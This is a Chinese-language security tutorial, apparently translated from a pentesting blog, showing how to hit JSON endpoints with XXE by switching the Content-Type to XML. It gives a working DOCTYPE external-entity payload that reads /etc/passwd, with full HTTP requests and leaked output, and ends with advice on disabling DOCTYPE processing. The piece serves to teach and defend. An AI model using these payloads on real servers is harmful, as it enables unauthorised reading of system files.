大家都知道,許多WEB和移動應用都依賴於Client-Server的WEB通信交互服務。而在如SOAP、RESTful這樣的WEB服務中,最常見的數據格式要數XML和JSON。當WEB服務使用XML或者JSON中的一種進行傳輸時,服務器可能會接收開發人員並未預料到的數據格式。如果服務器上的XML解析器的配置不完善,在JSON傳輸的終端可能會遭受XXE攻擊,也就是俗稱的XML外部實體攻擊。
XXE是一種針對XML終端實施的攻擊,黑客想要實施這種攻擊,需要在XML的payload包含外部實體聲明,且服務器本身允許實體擴展。這樣的話,黑客或許能讀取WEB服務器的文件系統,通過UNC路徑訪問遠程文件系統,或者通過HTTP/HTTPS連接到任意主機。在下面的例子中,我們將一個外部實體指向了WEB服務器上的/etc/passwd,該實體就是包含在XML的payload里的。
1
2
3
4
|
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
[some xml content..]
<
element
>&xxe;</
element
>
[some xml content..]
|
以上就是一個簡潔有效的攻擊,我們來看看如何利用Content-Type頭和HTTP請求的payload,是否也能黑掉JSON的終端。下面是一個JSON請求樣本,它將Content-Type設置為application/json,其中精簡了大部分內容。
1
2
3
4
5
6
7
8
9
10
11
12
|
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}
|
如果Content-Type頭被修改為application/xml,客戶端會告訴服務器post過去的數據是XML格式的。但如果你實際傳過去的不是該格式的話,服務器不會進行解析,並且會報如下的錯:
1
2
3
4
5
6
7
8
9
10
11
12
|
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Request:
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
|
該錯誤提示指出,服務器能夠處理XML格式和JSON格式的數據,但現在服務器收到的真實數據格式並不是在Content-Type里聲明的XML格式,所以這里自然不能被解析啦。為了解決這個問題,JSON格式被強行轉換為XML格式。如果你想做這樣的轉換,網上有不少在線工具,Eric Gruber曾寫了一個Burpsuite插件(Content-Type Converter),可以自動在Burpsuite里轉換格式。
1
2
|
Original JSON
{
"search"
:
"name"
,
"value"
:
"netspitest"
}
|
1
2
3
4
|
XML Conversion
<?
xml
version
=
"1.0"
encoding
=
"UTF-8"
?>
<
search
>name</
search
>
<
value
>netspitest</
value
>
|
然而,這樣直接轉換過來的XML文檔很明顯是無效的,它並沒有XML格式文件所必須的<root>元素。如果這個XML格式的文件被發送到服務器上,有可能服務器會為此響應一個錯誤消息,所有最好的做法是為該轉換過的XML文檔加一個<root>元素。
1
2
3
4
5
|
<?
xml
version
=
"1.0"
encoding
=
"UTF-8"
?>
<
root
>
<
search
>name</
search
>
<
value
>netspitest</
value
>
</
root
>
|
現在原始的JSON請求可以被轉換為XML發送給服務器,然后獲得一個有效響應。
1
2
3
4
5
6
|
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 112
|
1
2
3
4
5
|
<?
xml
version
=
"1.0"
encoding
=
"UTF-8"
?>
<
root
>
<
search
>name</
search
>
<
value
>netspitest</
value
>
</
root
>
|
1
2
3
4
5
|
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}
|
因為在這里服務器是可以接收XML的數據的,黑客能由此對JSON終端實施XXE攻擊。
1
2
3
4
5
6
|
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288
|
1
2
3
4
5
6
|
<?
xml
version
=
"1.0"
encoding
=
"UTF-8"
?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<
root
>
<
search
>name</
search
>
<
value
>&xxe;</
value
>
</
root
>
|
黑客在這里就可以讀到/etc/passwd的文件內容:
1
2
3
4
5
6
7
8
9
|
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467
{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
|
顯然,不是每一個JSON終端都會接收XML格式,改變Content-Type並沒有太大用處,有可能你只會得到一個415的數據類型不支持錯誤。但是,JSON轉換為XML的攻擊不會只限制於通過post傳輸帶有JSON內容的payload,我就曾經看見以GET形式傳輸相應參數的案例。如果JSON的參數被轉換為XML,服務器會自己判斷content type的真實類型。
通過以上的實驗我們可以得出結論,如果你想要加固JSON終端,XML解析必須被禁用,或者你必須禁用內聯DOCTYPE聲明,以此防御XML外部實體注入攻擊。